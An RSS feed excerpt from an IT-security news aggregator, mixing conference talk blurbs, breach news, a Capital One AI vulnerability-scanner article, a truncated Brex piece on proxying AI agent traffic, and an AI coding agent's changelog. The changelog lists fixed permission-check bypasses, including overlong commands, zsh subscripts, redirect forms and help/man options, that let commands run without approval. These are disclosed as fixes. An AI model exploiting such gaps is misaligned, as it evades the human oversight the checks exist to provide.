<link>https://tsecurity.de/de/3679415/it-security-video/an-sres-guide-to-camping-in-extreme-conditions-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679415/it-security-video/an-sres-guide-to-camping-in-extreme-conditions-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:47:51 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills are transferable to handling real-life situations, too!

In this talk, I’ll share a fun (slightly traumatic) guide to applying SRE thinking to camping. I'll talk about hacky fixes to resolve the immediate impact, the process of narrowing down the root cause, and the beauty of pattern matching in observability. 

You’ll see that monitoring, escalation, and redundancy aren’t just for data centres. They’re survival tools.

If you’ve ever been on-call or just like a good disaster story, join me for this slightly chaotic, entirely true adventure in off-grid reliability.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/230-an-sres-guide-to-camping-in-extreme-conditions]]></content:encoded>
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<title><![CDATA[Ernst & Young meldet Datenschutzvorfall nach Hack eines Support-Ticket-Systems]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Ernst & Young warnt Kunden vor einem Datenvorfall, der über ein kompromittiertes Support-Ticket-System ausgelöst wurde. Betroffen sein könnten Dokumente mit steuerrelevanten personenbezogenen und finanziellen Informationen, die im Rahmen von Meldungen verarbeitet oder vorbe...]]></description>
<link>https://tsecurity.de/de/3679345/it-security-nachrichten/ernst-young-meldet-datenschutzvorfall-nach-hack-eines-support-ticket-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679345/it-security-nachrichten/ernst-young-meldet-datenschutzvorfall-nach-hack-eines-support-ticket-systems/</guid>
<pubDate>Sun, 19 Jul 2026 12:53:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ernst-young-support-ticket-breach.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ernst-young-support-ticket-breach.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ernst-young-support-ticket-breach-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ernst-young-support-ticket-breach-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ernst-young-support-ticket-breach-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ernst-young-support-ticket-breach-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ernst-young-support-ticket-breach-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Ernst &amp; Young warnt Kunden vor einem Datenvorfall, der über ein kompromittiertes Support-Ticket-System ausgelöst wurde. Betroffen sein könnten Dokumente mit steuerrelevanten personenbezogenen und finanziellen Informationen, die im Rahmen von Meldungen verarbeitet oder vorbereitet wurden. EY meldet inzwischen, die unbefugte Nutzung gestoppt zu haben, und bietet 24 Monate Identity Monitoring über Experian […]</p>
<div><a href="https://www.it-boltwise.de/ernst-young-meldet-datenschutzvorfall-nach-hack-eines-support-ticket-systems.html">... den vollständigen Artikel <strong>»Ernst &amp; Young meldet Datenschutzvorfall nach Hack eines Support-Ticket-Systems«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/ernst-young-meldet-datenschutzvorfall-nach-hack-eines-support-ticket-systems.html">Ernst &amp; Young meldet Datenschutzvorfall nach Hack eines Support-Ticket-Systems</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Realize the Potential of OpenVox – with LinuxAid (voxconf2026)]]></title>
<description><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those ...]]></description>
<link>https://tsecurity.de/de/3678306/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678306/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:10:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those decades of hard-won operational decisions  the common module, monitoring module, typed DSL, change-preview with octocatalog-diff  into a single collaborative platform anyone can fork, use, and improve. When you build your platform as open source instead of just on open source, the work you do for one customer compounds for everyone.


about this event: https://c3voc.de]]></content:encoded>
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<title><![CDATA[Realize the Potential of OpenVox – with LinuxAid (voxconf2026)]]></title>
<description><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those ...]]></description>
<link>https://tsecurity.de/de/3678295/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678295/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:43 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those decades of hard-won operational decisions  the common module, monitoring module, typed DSL, change-preview with octocatalog-diff  into a single collaborative platform anyone can fork, use, and improve. When you build your platform as open source instead of just on open source, the work you do for one customer compounds for everyone.


about this event: https://c3voc.de]]></content:encoded>
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<title><![CDATA[💚 Our Family's Electrotech Journey 🌞🏡🔌⛽️🚘️ (emf2026)]]></title>
<description><![CDATA[The story of how we went all electric, ditched fossil fuels, disconnected our gas supply and stopped burning stuff, and how you can too.

Our experience of converting a ~100 year old semi-detached house to modern clean living, and electrifying other parts of our lifestyle, such as travelling with...]]></description>
<link>https://tsecurity.de/de/3678185/it-security-video/our-familys-electrotech-journey-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678185/it-security-video/our-familys-electrotech-journey-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 17:18:20 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The story of how we went all electric, ditched fossil fuels, disconnected our gas supply and stopped burning stuff, and how you can too.

Our experience of converting a ~100 year old semi-detached house to modern clean living, and electrifying other parts of our lifestyle, such as travelling without flying.

Advice on switching to (and charging) electric vehicles, solar panels and home batteries, insulation, induction hobs and heat pumps. Mistakes made, lessons learned, what we'd do differently next time and how much it saves us.

How to monitor, control and automate your low carbon tech with open energy monitor and home assistant. Tips for making things work together well and play nicely with each other. The perils of cloud integrations and vendors shutting down systems.

Also covering self-built (and bought) air quality monitors for citizen science and environmental monitoring of the changes in air pollution. How to make projects such as Sensor Community and pull the data into your local home management system.

Discover how to be greener, healthier, safer, more resilient/secure, spend less money and have fun geeking out on it along the way.

Learn from our real-world experience in this electrifying talk.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/82-our-familys-electrotech-journey]]></content:encoded>
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<title><![CDATA[World's largest health organization threatens to jail or fire staff reading patient data 'without legal justification]]></title>
<description><![CDATA[NHS England warns staff that unlawful patient record access could result in dismissal, prosecution, and prison while expanding monitoring across healthcare organizations.]]></description>
<link>https://tsecurity.de/de/3677604/it-nachrichten/worlds-largest-health-organization-threatens-to-jail-or-fire-staff-reading-patient-data-without-legal-justification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677604/it-nachrichten/worlds-largest-health-organization-threatens-to-jail-or-fire-staff-reading-patient-data-without-legal-justification/</guid>
<pubDate>Sat, 18 Jul 2026 09:18:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NHS England warns staff that unlawful patient record access could result in dismissal, prosecution, and prison while expanding monitoring across healthcare organizations.]]></content:encoded>
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<title><![CDATA[Observability als Engineering-Problem: Weniger sammeln, mehr verstehen]]></title>
<description><![CDATA[Zwei OpenTelemetry-Experten erklären, warum zu viele Daten schaden – und wie ein Top-down-Ansatz die Zuverlässigkeit der Observability rettet.]]></description>
<link>https://tsecurity.de/de/3677601/it-nachrichten/observability-als-engineering-problem-weniger-sammeln-mehr-verstehen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677601/it-nachrichten/observability-als-engineering-problem-weniger-sammeln-mehr-verstehen/</guid>
<pubDate>Sat, 18 Jul 2026 09:18:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Zwei OpenTelemetry-Experten erklären, warum zu viele Daten schaden – und wie ein Top-down-Ansatz die Zuverlässigkeit der Observability rettet.]]></content:encoded>
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<title><![CDATA[v2.1.214]]></title>
<description><![CDATA[What's changed

Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only /dir
Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
Fixed Bash permission checks to fail close...]]></description>
<link>https://tsecurity.de/de/3677323/downloads/v21214/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677323/downloads/v21214/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Fixed single-segment <code>dir/**</code> allow rules like <code>Edit(src/**)</code> auto-approving writes to nested <code>dir/</code> directories anywhere in the tree instead of only <code>&lt;cwd&gt;/dir</code></li>
<li>Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions</li>
<li>Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer</li>
<li>Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically</li>
<li>Fixed Bash permission checks treating zsh variable subscripts and modifiers in <code>[[ ]]</code> comparisons as inert text — these commands now prompt for approval</li>
<li>Fixed Bash permission checks to no longer auto-approve certain <code>help</code> and <code>man</code> commands that could run unsafe options, command substitutions, or backslash paths</li>
<li>Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog</li>
<li>Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see <a href="https://www.anthropic.com/research/end-subset-conversations" rel="nofollow">https://www.anthropic.com/research/end-subset-conversations</a></li>
<li>Added a periodic progress heartbeat for long-running tool calls that previously went silent</li>
<li>Added an ISO <code>modified</code> timestamp to memory file frontmatter</li>
<li>Added <code>message.uuid</code>, <code>client_request_id</code>, and <code>tool_source</code> attributes to OpenTelemetry log events for message-level correlation and tool provenance</li>
<li>Added <code>CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH</code> to configure the 60 KB truncation limit on OpenTelemetry content attributes</li>
<li>Added reasoning effort to the <code>subagentStatusLine</code> payload, so custom agent rows can render model and effort</li>
<li>Added permission prompts for <code>docker</code> commands (including the Podman <code>docker</code> shim) carrying daemon-redirect flags (<code>--url</code>, <code>--connection</code>, <code>--identity</code>, and Podman's remote mode) that previously ran without one</li>
<li>Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags</li>
<li>Fixed Bash tool killing the Claude session when a <code>pkill -f</code> pattern accidentally matched the CLI's own process (Linux)</li>
<li>Fixed unbounded memory growth when <code>--settings</code> points at a device file or multi-GB file; oversized (&gt;2 MiB) settings files now fail at startup with a clear error</li>
<li>Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows</li>
<li>Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap</li>
<li>Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task</li>
<li>Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)</li>
<li>Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)</li>
<li>Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)</li>
<li>Fixed the PowerShell tool reporting <code>where.exe</code>, <code>fc.exe</code>, and <code>diff.exe</code> as errors when they return a valid negative answer (Windows)</li>
<li>Fixed <code>&gt;</code> and <code>&gt;&gt;</code> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8</li>
<li>Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon</li>
<li>Fixed background sessions parked with <code>←</code> or <code>/background</code> and left idle keeping the background daemon and a worker process alive indefinitely</li>
<li>Fixed completed background sessions being impossible to remove via <code>claude rm</code> or the agent view once the background service had gone idle</li>
<li>Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view</li>
<li>Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store</li>
<li>Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled</li>
<li>Fixed <code>/install-github-app</code> and the <code>/mcp</code> settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached</li>
<li>Fixed plugins enabled via the <code>--settings</code> CLI flag not loading (regression since v2.1.181)</li>
<li>Fixed feature flags going stale in long-running sessions after the OAuth token rotates</li>
<li>Fixed <code>/ultrareview</code> refusing to run in repos with no merge base — it now offers to review all tracked files</li>
<li>Fixed <code>claude update</code> and <code>claude doctor</code> hanging silently, and the <code>/status</code> System diagnostics section going blank, when a shell-config path is a directory</li>
<li>Fixed memory frontmatter values being silently truncated at an inline <code>#</code> when memory files are saved</li>
<li>Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative <code>message_delta</code> frames</li>
<li>Fixed a spurious "check your network" warning that appeared while the advisor was thinking</li>
<li>Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation</li>
<li>Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context</li>
<li>Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources</li>
<li>Improved the <code>claude rc</code> workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory</li>
<li>Changed single-segment <code>dir/**</code> hook <code>if:</code> conditions to match only <code>&lt;cwd&gt;/dir</code>; write <code>**/dir/**</code> for any-depth matching. <code>deny</code>/<code>ask</code> permission rules keep their any-depth match.</li>
<li>Changed <code>file</code> commands using <code>-m</code>/<code>--magic-file</code> or <code>-f</code>/<code>--files-from</code> to require permission instead of being auto-allowed as read-only</li>
<li>Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket</li>
<li>Changed SessionStart hooks to report source <code>"fork"</code> when a session begins as a fork instead of <code>"resume"</code></li>
</ul>]]></content:encoded>
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<title><![CDATA[Capital One releases VulnHunter, an open-source AI tool that finds software flaws before hackers do]]></title>
<description><![CDATA[Capital One on Thursday released VulnHunter, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and now a...]]></description>
<link>https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.capitalone.com/">Capital One</a> on Thursday released <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and <a href="https://github.com/capitalone/vulnhunter">now available on GitHub</a> under an Apache 2.0 license, is one of the most ambitious attempts by a major financial institution to turn offensive AI capabilities into a public defensive resource.</p><p>The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a <a href="https://www.capitalone.com/digital/facts2019/">2019 data breach</a> that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">$80 million federal fine</a>.</p><p>Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "<a href="https://github.com/capitalone/vulnhunter">attacker-first forward analysis</a>" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.</p><p>The tool currently runs on Anthropic's <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8 model</a> inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.</p><h2><b>The 2019 breach that reshaped how Capital One thinks about cybersecurity</b></h2><p>To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.</p><p>On July 19, 2019, <a href="https://www.capitalone.com/digital/facts2019/">Capital One disclosed </a>that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's <a href="https://www.capitalone.com/digital/responsible-disclosure/">Responsible Disclosure Program</a> on July 17 of that year.</p><p>The damage was sweeping. Approximately <a href="https://www.npr.org/2019/07/30/746687015/100-million-people-in-the-u-s-affected-by-capital-one-data-breach">100 million people in the United States</a> and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.</p><p>In August 2020, the Office of the Comptroller of the Currency <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">fined Capital One $80 million</a>, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.</p><p>The incident became an industry case study in the dangers of moving fast with new technology. As <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop reported</a> in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."</p><h2><b>How Capital One rebuilt its security reputation through open-source investment</b></h2><p>What followed was not a retreat from technology but a doubling down — with security explicitly at the center.</p><p>Capital One had declared itself an "<a href="https://capitalonesoftware.com/blog/cloud-migration-journey">open-source first</a>" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the <a href="https://openssf.org/">Open Source Security Foundation</a> as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud &amp; Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the <a href="https://openssf.org/press-release/2022/08/24/capital-one-joins-open-source-security-foundation/">OpenSSF announcement</a>.</p><p>Behind that public commitment lay a substantial operational apparatus. Capital One's <a href="https://www.capitalone.com/tech/open-source/">Open Source Program Office</a>, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.</p><p>Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as <a href="https://sdtimes.com/os/how-capital-one-is-strengthening-the-software-supply-chain/">reported by SD Times</a>. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.</p><h2><b>Inside VulnHunter's three-stage AI engine for finding exploitable code</b></h2><p>For engineering leaders evaluating <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.</p><p>In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.</p><p>The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.</p><p>In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.</p><p>Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.</p><h2><b>Why AI-powered attacks are forcing banks to rethink traditional cyber defenses</b></h2><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.</p><p>The company's own AI security researchers have been tracking these trends closely. At <a href="https://www.capitalone.com/tech/software-engineering/secon-2024/">NeurIPS 2024</a> in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.</p><p>Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "<a href="https://pure.psu.edu/en/publications/backdooralign-mitigating-fine-tuning-based-jailbreak-attack-with-/fingerprints/?sortBy=alphabetically">BackdoorAlign</a>," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "<a href="https://arxiv.org/html/2406.18510v1">WildTeaming</a>," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.</p><p>The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.</p><h2><b>What Capital One's cloud security journey reveals about the entire banking industry</b></h2><p>Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One <a href="https://www.latimes.com/business/story/2019-07-30/capital-one-cloud-safety-hacker-breach">moved aggressively to Amazon Web Services</a> in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, <a href="https://www.forbes.com/sites/peterhigh/2016/12/12/how-capital-one-became-a-leading-digital-bank/">publicly championed the cloud</a> as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.</p><p>The <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop report</a> from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.</p><p>Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.</p><p>Whether <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.</p><p>
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<title><![CDATA[Brex built its AI agent policy by watching what agents actually do, not by writing rules first]]></title>
<description><![CDATA[OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents w...]]></description>
<link>https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://venturebeat.com/security/openclaw-500000-instances-no-enterprise-kill-switch">OpenClaw</a> has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.</p><p>Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The <a href="https://www.brex.com/journal/building-crabtrap-open-source">open-source HTTP/HTTPS proxy</a> intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. </p><p>“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”</p><p>The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.</p><h2>How Brex targeted the transport layer</h2><p>The “obvious 